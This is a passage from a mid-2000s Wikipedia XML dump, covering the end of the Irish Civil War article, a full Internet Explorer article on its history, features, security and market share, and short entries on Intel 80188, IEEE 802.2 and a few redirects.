As with most civil wars, the internecine conflict left a bitter legacy, which continues to influence Irish politics to this day.  The two largest political parties in the Republic are still Fianna Fáil and [[Fine Gael]], the descendants respectively of the anti-treaty and pro-treaty forces of 1922. Until the 1970s, almost all of Ireland's prominent politicians were veterans of the civil war, a fact which poisoned the relationship between Ireland's two biggest parties. Examples of Civil War veterans include: Eamon de Valera, Frank Aiken, [[Todd Andrews]], [[Sean Lemass]]{{fn|2}}, (Republican) and [[W.T. Cosgrave]], Richard Mulcahy and [[Kevin O'Higgins]]{{fn|3}} (Free State). Moreover, many of these men's sons and daughters also became politicians, meaning that the personal wounds of the civil war were felt over three generations. In the 1930s after Fianna Fail took power for the first time, it looked possible for a while that the Civil War might break out again between the [[Irish Republican Army (1922-1969)|IRA]] and the pro-Free State [[Blueshirts]]. Fortunately, this crisis was averted and by the 1950s, political violence was no longer prominent in Southern Irish politics. 
[[Image:WTCosgrave2.jpg|thumb|right|W.T. Cosgrave]]

However, the breakaway IRA continued (and continues in various forms) to exist. Up until the 1980s it still claimed to be the Provisional Government of the Irish Republic declared in 1918 and annulled by the Treaty of 1921. Some people, notably [[Michael McDowell]], claim that this attitude, which dates from the Civil War, still underpins the politics of the [[Provisional IRA]].

==Footnotes==
{{fnb|1}}In the 1996 film ''[[Michael Collins (film)|Michael Collins]]'', Eamon de Valera orders Collins' death. However, although de Valera was in the area at the time, he is not known to have been involved in the assassination.&lt;br&gt;
{{fnb|2}}Whose brother Noel, a captain in the anti-Treaty IRA, was abducted and shot by Free State forces in July 1923, two months after the war had ended. His body was dumped in the [[Wicklow Mountains]], near Glencree, where it was found in October 1923. The spot where his body was found is marked by a memorial.&lt;br&gt;
{{fnb|3}} O'Higgins was the Minister for Economic Affairs in the Free State government and was known to be in favour of executions of prisoners. His elderly father was killed by republicans during the civil war. He was assassinated in 1927 by anti-treaty IRA members on his way to [[Mass]]. He was killed in reprisal for what they viewed as his responsibility for executions of republicans during the civil war.

==Sources==
*Ernie O'Malley, The Singing Flame, Dublin 1978.
*M.E. Collins, Ireland 1868-1966, Dublin 1993.
*Michael Hopkinson, Green against Green - the Irish Civil War
*Eoin Neeson, The Irish Civil War
*Paul V Walsh, The Irish Civil War 1922-23 -A Study of the Conventional Phase
*Meda Ryan, The Real chief, Liam Lynch
*Tim Pat Coogan, De Valera, Long Fellow, Long Shadow

==See also==
*[[History of Ireland]]
*[[History of the Republic of Ireland]]
*[[List of Ireland-related topics]]

==External links==
*[http://www.limerick-leader.ie/issues/20000101/s1920.html The final siege of Limerick City] from [[July 7]] until [[July 21]] 1922, on the [[Limerick Leader]] web site.

[[Category:Civil wars]]
[[Category:Guerrilla wars]]
[[Category:History of Ireland]]
[[Category:History of the Republic of Ireland]]
[[Category:Wars of Ireland]]

[[ca:Guerra Civil Irlandesa]]
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[[es:Guerra Civil Irlandesa]]
[[ga:Cogadh Cathartha na hÉireann]]
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[[ja:アイルランド内戦]]
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  <page>
    <title>Internet Explorer</title>
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      <text xml:space="preserve">{{Infobox_Software | name = 
| logo = [[Image:Internet Explorer 7 logo.png|250px|Windows Internet Explorer logo]]
| screenshot = [[Image:Internet Explorer 6.png|250px]]
| caption = Internet Explorer 6 under Windows XP
| developer = [[Microsoft]], [[Spyglass]]
| latest_release_version = 6.0 SV1
| latest_release_date = August 6, 2004
| latest_preview_version = [http://www.microsoft.com/windows/IE/ie7/ie7betaredirect.mspx 7.0 Beta 2 Preview] (build 5296)
| latest_preview_date = January 31, 2006
| operating_system = [[Microsoft Windows|Windows]]
| genre = [[Web browser]]
| license = Closed source
| website = [http://www.microsoft.com/windows/ie/ Internet Explorer]
}}
'''Internet Explorer''', abbreviated '''IE''' or '''MSIE''', is a [[proprietary software|proprietary]] [[graphical user interface|graphical]] [[web browser]] made by [[Microsoft]] and included as part of the [[Microsoft Windows]] line of operating systems. It is the most widely used web browser today.

Microsoft has shipped Internet Explorer as the default browser in all versions of Microsoft Windows since [[Windows 95]] OSR1. The last major upgrade to Internet Explorer, 6.0 SV1{{ref|sv1}}, is included in [[Windows XP]] Service Pack 2 and [[Windows Server 2003]] Service Pack 1 only. [[software beta|Beta versions]] of Internet Explorer 7 for Windows XP SP2 have been available since [[July 27]] [[2005]] and versions specific to [[Windows Server 2003]] as well as for 64-bit editions of Windows will also be released, though it won't be available for older versions of Windows. Internet Explorer versions, prior to the one included in Windows XP SP2, are also available as a separate download for versions of Windows uptil [[Windows XP]].

In the past, Internet Explorer was also developed for several other operating systems: [[Internet Explorer for Mac]] and [[Internet Explorer for UNIX]] (the latter for use through the [[X Window System]] on [[Solaris Operating Environment|Solaris]] and [[HP-UX]]).  All of these versions have ceased active development.

Internet Explorer is currently known as '''Microsoft Internet Explorer''', but the name will change to '''Windows Internet Explorer''' with the release of Internet Explorer 7.

==History==
[[Image:Internet Explorer 4.png|thumb|Internet Explorer 4.0 under Windows]]
{{main|History of Internet Explorer}}
Internet Explorer is derived from [[Spyglass]] [[Mosaic (web browser)|Mosaic]], an early commercial web browser. In 1995, Spyglass Mosaic was licensed by [[Microsoft]] in an arrangement under which Spyglass would receive a quarterly fee plus a percentage of Microsoft's revenues for the software. Although bearing a name similar to [[National Center for Supercomputing Applications|NCSA]] Mosaic, which was the first widely used browser, Spyglass Mosaic was relatively unknown in its day and did not use any of the NCSA Mosaic source code {{ref|SpyglassMosaic}}.

Internet Explorer 3 was the first major browser with [[Cascading Style Sheets|CSS]] support released in August, 1996 and it could handle the [[Platform for Internet Content Selection|PICS]] system for content [[metadata]]. The improvements were significant, compared to its main competitor at the time, [[Netscape Navigator]].

The browser was not widely used until version 4, which was released in October 1997 and was integrated with the [[Windows 98]] operating system. This integration, however, was subject to numerous criticisms (see [[United States v. Microsoft]]).  Version 5, released in September 1998, was another significant release that supported [[bi-directional text]], [[ruby character]]s, [[XML]] and [[Extensible Stylesheet Language|XSL]]. 

Version 6 was released on [[August 27]] [[2001]], a few weeks before [[Windows XP]]. This version included DHTML enhancements, content restricted inline frames, and better support of CSS level 1, DOM level 1 and SMIL 2.0. The MSXML engine was also updated to version 3.0. Other new features included a new version of the IEAK, Media bar, [[Windows Messenger]] integration, fault collection, automatic image resizing, [[P3P]], and a new look-and-feel that is in line with the style of Windows XP.

On [[February 15]] [[2005]], Microsoft Chairman [[Bill Gates]] announced that the new version of its browser will be released at the RSA Conference 2005 in San Francisco {{ref|RSAConference2005}}. The decision to update the browser occurred in the wake of a decline in the use of Internet Explorer for the first time. Microsoft also stated that Internet Explorer 7 will only be available for Windows XP SP2 and later, including Windows Server 2003 SP1 and Windows Vista. The first [[software beta|beta version]] of the browser was released on [[July 27]] [[2005]] for technical testing, and a first public preview version of Internet Explorer 7 (Beta 2 preview: Pre-Beta 2 version) was released on [[January 31]], [[2006]]. Version 7 is intended to defend users from [[phishing]] as well as deceptive or malicious software, and also features full user control of ActiveX, and better security framework. It includes important bug fixes, enhancements to support the web standards, improvements in HTML 4.01/CSS 2, [[Tabbed document interface|Tabbed Browsing]], Tab preview and management, and web feeds reader.

==Features==
{{main|Features of Internet Explorer}}

[[Image:XPSP2_popup.png|thumb|right|The pop-up blocker included in Internet Explorer 6 SP 2]]

Internet Explorer has been designed to view the broadest range of web pages and to provide certain features within the operating system, including [[Windows Update]]. During the heydays of the historic [[browser wars]], Internet Explorer superseded Netscape by supporting many of the progressive features of the time.

===Component architecture===
The [[Component Object Model]] (COM) technology is used extensively in Internet Explorer. It allows third parties to add functionalities via [[Browser Helper Object]]s (BHO); and allows websites to offer rich content via [[ActiveX]]. As these objects have the same privileges as the browser itself (in certain situations), this raised concern over security. This issue was addressed in Internet Explorer 6.0 Service Pack 2, which provides an [[Add-on]] Manager for controlling ActiveX controls and Browser Helper Objects.  Internet Explorer 7 provides a &quot;No Add-Ons&quot; version (Under Programs/Accessories/System Tools) to address this issue, as well.

===Usability and accessibility===
[[Image:Ie7tabbedbrowsing.PNG|thumb|Tabbed browsing in Internet Explorer 7 Beta 2 preview]]
Since it is tightly integrated with the operating system, Internet Explorer makes use of the accessibility framework provided in Windows. Internet Explorer is also a user interface for FTP, with operations similar to that of [[Windows Explorer]].

The ability to block [[popup]] windows was introduced with Internet Explorer 6.0, Service Pack 2.

[[Tabbed browsing]] can be added to Internet Explorer 6 by installing Microsoft's [[MSN Search Toolbar]], and is natively supported as of Internet Explorer 7.

===Security framework===
Internet Explorer uses a zone-based [[computer security|security]] framework, which means that sites are grouped based upon certain conditions. It allows the restriction of broad areas of functionality, and also allows specific functions to be restricted.

Patches and updates to the browser are released periodically and made available through [[Windows Update]] [[website]]. Although security patches continue to be released for a range of platforms, most recent feature additions and security improvements are released for Windows XP only. A report in April 2005 showed that only [http://www.winplanet.com/article/2825-.htm 24% of corporate PCs] had upgraded to XP SP2.

Internet Explorer 6 Service Pack 2 provide Download Monitoring and Install Monitoring that user can choose to download, or not to download and, choose to install, or not to install Applications, Executables and Installations. This prevents installation of Spywares, Adwares, Viruses or Malwares.

===Standards support===
Internet Explorer almost fully supports [[HTML]] 4.01, [[Cascading Style Sheets|CSS]] Level 1, [[XML]] 1.0 and [[Document Object Model|DOM]] Level 1, with minor implementation gaps. It partially supports CSS Level 2 and DOM Level 2, with some implementation gaps and conformance issues. It supports [[XHTML]] 1.0 to the extent that HTML 4.01 compatibility guidelines are followed. Internet Explorer uses [[DOCTYPE sniffing]] to choose between &quot;[[quirks mode]]&quot; (renders similarly to older versions of MSIE) and [[standards mode]] (renders closer to W3C's specifications) for HTML and CSS rendering.  It fully supports [[XSLT]] 1.0 or the December 1998 Working Draft of [[Extensible Stylesheet Language|XSL]], depending on the version of [[MSXML]] (a [[dynamic link library]]) available. It also provides its own dialect of [[ECMAScript]] called [[JScript]].

===Proprietary extensions===
Internet Explorer has introduced an array of proprietary extensions to many of the standards, including HTML, CSS and the DOM.  This has resulted in a number of web pages that can only be viewed properly using Internet Explorer. Many view this as an example of what is called &quot;[[embrace and extend|embrace, extend and extinguish]]&quot; (EEE), a way to drive competitors out of business by forcing them to use proprietary technology that a company controls, resulting in [[vendor lock-in]]. Netscape Navigator up to version 4.7 was also responsible for massive proprietary extension of the core web standards, but was not criticized for it as much.

==Version 7.0==
[[Image:IE7_Quick_Tabs.png|thumb|Internet Explorer 7's &quot;Quick Tabs&quot;]]
Version 7.0 of Internet Explorer has been renamed to '''Windows Internet Explorer''', as part of Microsoft's rationalization of component names that are included with Windows.  Set to ship with [[Windows Vista]], and as a separate download for [[Windows XP|Windows XP with Service Pack 2]] and [[Windows Server 2003]] Service Pack 1, large amounts of the underlying architecture, including the rendering engine and security framework, have been completely overhauled. Partly as a result of these security enhancements, the browser will be a stand-alone application, rather than integrated with the Windows shell, and it will no longer be capable of acting as a file browser. 

The Windows Vista version will incorporate additional security measures, most significantly &quot;Protected Mode&quot;, whereby the browser runs in a sandbox with even lower rights than a limited user account software. As such, it can write to only the Temporary Internet Files folder and can not install start-up programs or change any configuration of the operating system. This is expected to increase the security of the system considerably.[http://blogs.msdn.com/ie/archive/2006/02/09/528963.aspx]

On January 31st 2006, Microsoft released a public preview build (Beta 2 preview: Pre-Beta 2 version) of Internet Explorer 7 for Windows XP Service Pack 2 (not for Windows Server 2003 SP 1) on their web site. It stated that more public preview builds (possibly Beta 2 in April) of Internet Explorer 7 will be released in first half of 2006, and final version will be released in second half of 2006.[http://www.microsoft.com/windows/ie/ie7/ie7betaredirect.mspx]

===New features===
[[Image:Ie7feedreader.PNG|thumb|Internet Explorer 7's [[Web feed]] reader]]
* Version 7 supports [[tabbed browsing]], which has been a popular feature in competing web browsers for some time. In addition to this, there is a feature called &quot;Quick Tabs&quot;, which displays a thumbnail preview of opened tabs, treating tabs like [[Exposé (Mac OS X)|Exposé]] treats application windows. With this new feature, user can find, open, close, and refresh opened tabs easily.
* A search box has been added to the top-right corner, to do fast searches using a search engine.  MSN Search is the default{{ref|search7default}}, but additional providers may be added.  Microsoft provides a list of common providers, but any web site can identify itself as having a search capability.[http://blogs.msdn.com/ie/archive/2006/02/07/527266.aspx]
* Long-awaited support for per-pixel [[alpha compositing|alpha channel]] transparency in [[PNG]] images has been added.[http://blogs.msdn.com/ie/archive/2005/04/26/412263.aspx]
* Feed reader integration in [[Web feed]]s support is built in version 7.0. The feed reader is fully integrated with the browser, so that user can read web feeds (RSS or Atom) without an RSS reader. It also discovers web feeds automatically. Updates to web feeds can be retrieved when the web browser isn't running. The web feeds feature set is also available to third-party developers through API's, so that the list of subscribed feeds (as well as their current contents) can be used. [http://blogs.msdn.com/rssteam/archive/2006/02/09/528195.aspx]
* ActiveX Opt-In blocks ActiveX Control unless it allowed to be installed. This feature improves security from unverificable and vulnerable controls. ActiveX controls can be chosen to be installed on Information Bar. User can turn on and off ActiveX Contol by using Add-on Manager.   
* A number of improvements to CSS support have been made.  Microsoft's stated goal with version 7 was to fix the most significant &quot;bugs&quot; and areas which caused the most trouble for developers, and then improved coverage of the standards would come later.
* The well-known problem of having the right-hand portion of a web page cut off when the page is printed, has been fixed.  Page content can also be &quot;shrunk&quot; to fit more text on a single page.  The revamped &quot;Print Preview&quot; interface will also let users drag the page margins around and see the results immediately.
* A &quot;Zoom&quot; selector has been added to the bottom-right corner of the user interface.  Unlike the &quot;Text size&quot; feature, this will zoom the complete contents of the web page, allowing for easier reading on larger displays.  Fonts are rendered at higher resolution.[http://blogs.msdn.com/ie/archive/2006/02/07/526805.aspx]
* ClearType can be enabled or disabled separately from the rest of the operating system.[http://blogs.msdn.com/ie/archive/2006/02/03/524367.aspx]
* The new &quot;Phishing Filter&quot; offers protection against phishing scams and other web sites that may be considered dangerous for a user to enter their personal information into.  When enabled, every web site the user visits is checked against a master list of known phishing sites.  If a site is listed, the user is informed.  In light of the privacy implications of this feature, it is not enabled automatically; the user is asked when they start Internet Explorer 7 if they want it enabled.[http://blogs.msdn.com/ie/archive/2005/09/09/463204.aspx] Microsoft is working in conjunction with companies that specialize in identifying phishing schemes to ensure the list of known sites is accurate and quickly updated.[http://blogs.msdn.com/ie/archive/2005/11/17/494040.aspx]
* Address Bar and status bar appear in all windows including Pop-Up which helps to block malicious sites from disguising them as trusted sites. Also the address bar features a color code to visually indicate the trustworthiness of the page. The Address Bar turns red when a page, with invalid security certificate, is accessed. In case of sistes not using any encryption, the address bar is white. And if the page uses high security certificate, the bar turns green.

==Criticisms==
{{main|Criticisms of Internet Explorer}}

&lt;!-- To keep this section from becoming contentious, please use it only to report on the fact that there is criticism of Internet Explorer, and to summarize the topics, not the arguments, found in the main article. Thanks. --&gt;
Internet Explorer is subject to a relatively high volume of criticism. Much of this criticism is related to concerns about security: &lt;!-- Now, in one sentence, we answer how the security issues, enumerated and detailed ELSEWHERE, affect people such that the volume of criticism for IE is unusually high --&gt; A notable portion of the widespread promulgation of [[spam (electronic)|spam]], [[spyware]], [[adware]], and [[computer virus]]es across the Internet is known to be facilitated by exploitable bugs and flaws in the security architecture of Internet Explorer. Furthermore, a notable number of users and security experts have pointed out that Microsoft has not been sufficiently committed to fixing the browser's exploitable bugs in a timely manner, and has been ineffective in pushing those changes out to users. Several companies maintain databases of security vulnerabilities known to exist in Internet Explorer and for which no fixes have been published by Microsoft &amp;mdash; as of June 2005, there were between 20 and 27 such vulnerabilities reported in Internet Explorer 6 for Windows XP SP2, and 146 in Internet Explorer 6 for Windows 2000 SP4.

Other criticisms, mostly coming from technically proficient users and developers of websites and browser-based software applications, concern Internet Explorer's support of [[open standard]]s. Internet Explorer supports, to some degree, a number of standardized technologies, but has implementation gaps and conformance failures &amp;mdash; some minor, some not &amp;mdash; that have led to criticism from an increasing number of developers. The increase is attributable, in large part, to the fact that competing browsers that offer relatively thorough, standards-compliant implementations are becoming more widely used. Internet Explorer's ubiquity, in spite of its perceived inferiority in this area, frustrates developers who want to write standards-compliant, [[cross-browser]] code.

{{seealso|Criticism of Microsoft}}

==Market adoption==
===Usage share===
{{see|Usage share of web browsers}}

The adoption rate of Internet Explorer seems to be closely related to that of Microsoft Windows, as it is the default web browser that comes with Windows. Since the integration of Internet Explorer 3.0 with Windows 95 OSR 2 in late 1996, the adoption was greatly accelerated: from below 20% in 1996 to about 40% in 1998 and over 80% in 2000. This effect, however, has recently been dubbed the &quot;Microsoft [[monoculture]]&quot;, by analogy to the problems associated with lack of [[biodiversity]] in an [[ecosystem]]. By 2002, Internet Explorer had almost completely superseded its main rival Netscape and dominated the market.

After having fought and won the [[browser wars]] of the late 1990s, Internet Explorer began to see its [[usage share]] shrink. Having attained a peak of about 96% in 2002, it has since been in a steady decline. Statistics indicate the current most significant competition comes from [[Gecko (layout engine)|Gecko]]-based browsers, in particular [[Mozilla Firefox]]. 

Nevertheless, Internet Explorer remains the dominant web browser, with a usage share of around 85% (based on statistics reference) in United States. It's relatively high in Asia, and much lower in Europe, For instance, the share is  around 93% in Japan, and around 70% in Germany.[http://www.websidestory.com/products/web-analytics/datainsights/spotlight/05-10-2005.html]

===Industry adoption===
ActiveX is used by many public websites and [[web application]]s, including [[eBay]]. Similarly, [[Browser Helper Object|BHO]]s are also used by many [[search engine]] companies and third parties for creating add-ons that access their services, for example, search engine toolbars. Because of the use of [[Component Object Model|COM]], it is possible to include web-browsing functionality in third-party applications. Hence, there are a number of [[Internet Explorer shell]]s, and a number of applications like [[RealPlayer]] (a [[media player]]) also use Internet Explorer's web browsing module for viewing the [[World Wide Web]] within the applications.

==&quot;Standalone&quot; Internet Explorer==
While it is not officially possible to keep multiple versions of Internet Explorer on the same machine, some [[hacker]]s (Joe Maddalone, Ryan Parman, ''et al.'') successfully separated several versions of Internet Explorer making them standalone applications. These were referred as &quot;standalone&quot; IEs and included versions 3.0 to 5.5 SP2.

*[http://labs.insert-title.com/labs/article795.aspx Multiple IEs In Windows Web Design] &amp;mdash; The web developer Joe Maddalone who found the solution.
*[http://www.skyzyx.com/downloads/ Skyzyx.com - Standalone Internet Explorer] &amp;mdash; The web developer Ryan Parman who made the customized browsers files available.
*[http://www.quirksmode.org/browsers/multipleie.html Multiple Explorers] &amp;mdash; Downloads of all the versions

Microsoft has discontinued standalone installers for Internet Explorer to the general public. However, a blogger/web developer/programmer named Liew Cheon Fong has posted a procedure for downloading the complete install package.

*[http://www.liewcf.com/blog/archives/2005/04/download-full-internet-explorer-6-sp1-standalone-installer/ Standalone Install Procedure for IE6 SP1]

Be aware that unlike previous standalone versions of IE, running IE7 in standalone alongside a normal installation of IE6 may cause severe problems when using IE6 thereafter, owing to the insertion of at least one registry key. Some users have been unable to fix the resulting problems once IE7 has been run. It may be unwise to attempt running IE7 in standalone mode if you are not prepared for the possible consequences. See Jon Galloway's script for running IE7 more safely:
*[http://weblogs.asp.net/jgalloway/archive/2005/12/28/434132.aspx IE7 Standalone Launch Script]

==Removal==
{{main|Removal of Internet Explorer}}

The idea of removing Internet Explorer from a Windows system was first proposed during the [[United States v. Microsoft]] case. Critics felt that users should have the right to uninstall Internet Explorer freely just like any other [[application software]]. One of Microsoft's arguments during the trial was that removing Internet Explorer from Windows may result in system instability.

An Australian computer scientist [[Shane Brooks]] demonstrated that Windows 98 could in fact run with IE files removed {{ref|FindingsOfFacts}}. Brooks went on to develop software designed to customize Windows versions by removing &quot;undesired components&quot;, which is known as [[98lite]]. He later created [[XPLite]] to support NT based [[operating system]]s. Both of these pieces of software can remove IE after the installation of the operating system.

There are a few popular methods for removing IE from a copy of the Windows install disc so it never touches the user's hard drive. A method developed by [[Fred Vorck]] involves the manual removal of IE from installation discs. [[nLite]], on the other hand, is an automated program that allows users to exclude IE and many other Windows components from installation as desired.

It is also not possible to run Microsoft's [[Windows Update]] with any other browser because of its use of [[ActiveX]], therefore removing Internet Explorer will cause this to stop working.

==Footnotes==
#{{note|sv1}} SV1 stands for &quot;Security Version 1&quot;, referring to the set of security enhancements made for that release.[http://blogs.msdn.com/ie/archive/2004/09/02/224902.aspx] This version of Internet Explorer is more popularly known as IE6 SP2, given that it is included with Windows XP Service Pack 2, but this can lead to confusion when discussing Windows Server 2003, which includes the same functionality in the SP1 update to that operating system.
#{{note|SpyglassMosaic}} [http://biztech.ericsink.com/Browser_Wars.html Memoirs From the Browser Wars], [[May 12]] [[2005]].
#{{note|AbandonStandaloneIE}} [http://www.zone-h.org/en/news/read/id=2789/ Microsoft to abandon standalone IE], [[May 12]] [[2005]].
#{{note|search7default}} Some users have noted that Internet Explorer 7's default search engine appears to be Google or Yahoo; this is because the default search provider setting is inherited from Internet Explorer 6's settings, which various search engine toolbars override to provide search capabilities on the address bar.
#{{note|RSAConference2005}} [http://www.microsoft.com/presspass/press/2005/feb05/02-15RSA05KeynotePR.asp Gates Highlights Progress on Security, Outlines Next Steps for Continued Innovation], [[May 12]] [[2005]].
#{{note|IE7PlatformsAndOutlookExpress}} [http://blogs.msdn.com/ie/archive/2005/02/28/382054.aspx IE7 Platforms and Outlook Express], [[May 12]] [[2005]].
#{{note|FindingsOfFacts}} [http://www.usdoj.gov/atr/cases/f3800/msjudgex.htm U.S. v. Microsoft: Court's Findings of Fact], [[May 12]] [[2005]].

==References==
*{{cite web | title=Microsoft Windows Family Home Page | work=Windows History: Internet Explorer History | url=http://www.microsoft.com/windows/WinHistoryIE.mspx | accessdate=May 12 | accessyear=2005}}
*{{cite web | title=Index DOT Html and Index DOT Css | work=Browser History: Windows Internet Explorer | url=http://www.blooberry.com/indexdot/history/ie.htm | accessdate=May 12 | accessyear=2005}}

==See also==
*[[History of the Internet]]
*[[Internet Explorer shell]]
*[[List of web browsers]]
*[[Comparison of web browsers]]

==External links==
*[http://www.microsoft.com/windows/ie/ Internet Explorer Home]
*[http://blogs.msdn.com/ie IEBlog] &amp;mdash; The weblog of the Internet Explorer team
*[http://channel9.msdn.com/wiki/default.aspx/Channel9.InternetExplorer Channel9 Wiki: InternetExplorer] &amp;mdash; The wiki for Internet Explorer
*[http://www.microsoft.com/windows/ie/community/ Internet Explorer Community] &amp;mdash; The official Microsoft Internet Explorer Community
*[http://support.microsoft.com/default.aspx?id=293907 How to Uninstall Internet Explorer 6] &amp;mdash; A Microsoft support article for pre-XP versions of Windows
*[http://secunia.com/product/11/ Secunia Vulnerability Report for Microsoft Internet Explorer 6.x]
*[http://www.oldapps.com/internet_explorer.htm Old Version of Internet Explorer]
*[http://www.microsoft.com/windows/WinHistoryIE.mspx Internet Explorer History]
*[http://www.vorck.com/remove-ie.html Remove IE from Windows 2000 at install] — A guide to burning IE-free Windows installer discs
*[http://www.nliteos.com/ nLite] — A program that disables installation of specified Windows components, including IE
*[http://msdn.microsoft.com/ie/releasenotes/default.aspx Internet Explorer 7 release notes]

{{Microsoft products}}

[[Category:Internet Explorer]]
[[Category:Windows web browsers]]
[[Category:Microsoft Internet applications]]

[[ar:متصفح إنترنت إكسبلورر]]
[[ca:Internet Explorer]]
[[cs:Microsoft Internet Explorer]]
[[da:Internet Explorer]]
[[de:Internet Explorer]]
[[et:Internet Explorer]]
[[es:Internet Explorer]]
[[fa:اینترنت اکسپلورر]]
[[fr:Internet Explorer]]
[[gl:Internet Explorer]]
[[ko:인터넷 익스플로러]]
[[id:Internet Explorer]]
[[it:Windows Internet Explorer]]
[[he:Internet Explorer]]
[[csb:Internet Explorer]]
[[ku:Internet Explorer]]
[[lv:Internet Explorer]]
[[lt:Internet Explorer]]
[[hu:Internet Explorer]]
[[ms:Internet Explorer]]
[[nl:Microsoft Internet Explorer]]
[[ja:Internet Explorer]]
[[no:Internet Explorer]]
[[nn:Internet Explorer]]
[[pl:Internet Explorer]]
[[pt:Internet Explorer]]
[[ro:Internet Explorer]]
[[ru:Internet Explorer]]
[[simple:Internet Explorer]]
[[sk:Internet Explorer]]
[[sl:Microsoft Internet Explorer]]
[[fi:Internet Explorer]]
[[sv:Internet Explorer]]
[[th:อินเทอร์เน็ตเอ็กซ์พลอเรอร์]]
[[vi:Microsoft Internet Explorer]]
[[tr:Internet Explorer]]
[[zh:Internet Explorer]]</text>
    </revision>
  </page>
  <page>
    <title>Ideolect</title>
    <id>15217</id>
    <revision>
      <id>15912705</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Idiolect]]
</text>
    </revision>
  </page>
  <page>
    <title>Insterburg</title>
    <id>15219</id>
    <revision>
      <id>15912706</id>
      <timestamp>2002-08-24T11:25:50Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>fixing indirect redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chernyakhovsk]]</text>
    </revision>
  </page>
  <page>
    <title>Imprecise language</title>
    <id>15220</id>
    <revision>
      <id>29798671</id>
      <timestamp>2005-12-01T12:36:56Z</timestamp>
      <contributor>
        <username>Nikola Smolenski</username>
        <id>11304</id>
      </contributor>
      <comment>Moving disambig tag to bottom</comment>
      <text xml:space="preserve">Language might be said to imprecise because it exhibits one or more of the following features:
* [[ambiguity]] - when two or more different meanings can be interpreted equally well from a certain word or phrase
* [[vagueness]] - when borderline cases interfere with an interpretation
* [[equivocation]] - ambiguity or vagueness within an argument
* [[accent (logic)]] - when the use of bold or italics causes confusion over the meaning of a statement
* [[amphiboly]] - when crucial premises in an argument are left implicit

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Intel 80188</title>
    <id>15221</id>
    <revision>
      <id>40887000</id>
      <timestamp>2006-02-23T17:51:11Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Stack pointer]] to [[Stack-based memory allocation]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">The '''Intel 80188''' is a version of the [[Intel 80186]] microprocessor with an 8 bit external [[data bus]], instead of 16 bit. This makes it less expensive to connect to [[computer peripheral|peripherals]]. 

As the [[8086]], the 80188 featured four 16-bit general [[processor register|registers]], which could also be accessed as eight 8-bit registers. It also included six more 16-bit registers, which included, for example, the [[Stack-based memory allocation|stack pointer]], the [[instruction pointer]], [[index registers]], or a status word register that acted like a flag, for example, in comparison operations. 

Just like the [[8086]], the processor also included four 16-bit [[memory segment|segment]] registers that enabled the addressing of more than 64 Kbytes of memory, which is the limit of a 16-bit architecture, by introducing an offset value that was added, after being shifted left 4 bits, to the value of another register. This addressing system provided a total of 1 Mbyte of addressable memory, a value that, at the time, was considered to be very far away from the total memory a computer would ever need.


==External links==
*[http://www.cpu-collection.de/?tn=1&amp;l0=cl&amp;l1=80186/188 Intel 80186/80188 images and descriptions at cpu-collection.de]

{{Intel processors}}
{{Intel controllers}}


{{FOLDOC}}
{{microcompu-stub}}

[[Category:x86 microprocessors|Intel 188]]

[[de:Intel 80188]]
[[es:Intel 80186 y 80188]]
[[fr:Intel 80188]]
[[it:Intel 80188]]
[[ja:Intel 80186]]
[[nl:80186 (processor)]]
[[ru:Intel 80186]]</text>
    </revision>
  </page>
  <page>
    <title>IEEE 802.2</title>
    <id>15222</id>
    <revision>
      <id>40364455</id>
      <timestamp>2006-02-20T01:58:44Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''IEEE 802.2''' is the [[IEEE 802]] standard defining [[Logical Link Control]] (LLC), which is the upper portion of the data link layer for [[local area network|local area networks]].  The LLC sublayer presents a uniform interface to the user of the data link service, usually the [[network layer]]. Beneath the LLC sublayer is the [[media access control|Media Access Control]] (MAC) sublayer.

The IEEE standard adds this sublayer which adds the standard 8-bit ''DSAP'' (''Destination [[Service Access Point]]'') and ''SSAP''  (''Source Service Access Point'') labels to a given packet regardless of network type.  There is also an 8 or 16 bit control field for use in auxiliary functions such as [[flow control]].

== Operational modes ==
IEEE 802.2 provides two [[connectionless mode transmission| connectionless]] and one connection-oriented operational modes:
* '''Type 1''' is an unacknowledged connectionless mode. It allows for sending frames 
** to a single destination (point-to-point or unicast transfer), 
** to multiple destinations on the same network (multicast), 
** or to all stations of the network (broadcast). 
The use of multicasts and broadcasts reduce network traffic when the same information needs to be propagated to all stations of the network.
However the Type 1 service provides no guarantees regarding the order of the received frames compared to the order in which they have been sent; the sender does not even get an acknowledgment that the frames have been received.
* '''Type 2''' is a [[connection-oriented| connection-oriented]] operational mode. Sequence numbering ensures that the frames received are guaranteed to be in the order they have been sent, and no frames are lost.  A [[sliding window]] flow control procedure prevents fast senders from flooding slow destinations.
* '''Type 3''' is an acknowledged [[connectionless mode transmission| connectionless]] service. It supports point-to-point communication only.

== IEEE 802.2 header control words and frame formats ==
To confuse matters further, there can be three kinds of IEEE 802.2 PDU, in so-called U, I or S frames.

* U frames, with an 8-bit control field, are intended for connectionless applications
* I frames, with a 16-bit control and sequence numbering field, are intended to be used in connection-oriented applications
* S frames, with a 16-bit control field, are intended to be used for supervisory functions at the LLC layer.

Of these three formats, only the U-format is commonly used. The format of a PDU frame is identified by the lower two bits of the first byte of the control field. IEEE 802.2 was conceptually derived from [[HDLC]], which explains these aspects of its design.

==External links==
* [http://standards.ieee.org/getieee802/802.2.html IEEE 802.2 online]

{{FOLDOC}}

[[Category:IEEE 802|IEEE 802.02]]
[[Category:Link protocols]]

[[pt:IEEE 802.2]]</text>
    </revision>
  </page>
  <page>
    <title>Invertebrate</title>
    <id>15223</id>
    <revision>
      <id>40768828</id>
      <timestamp>2006-02-22T22:17:59Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
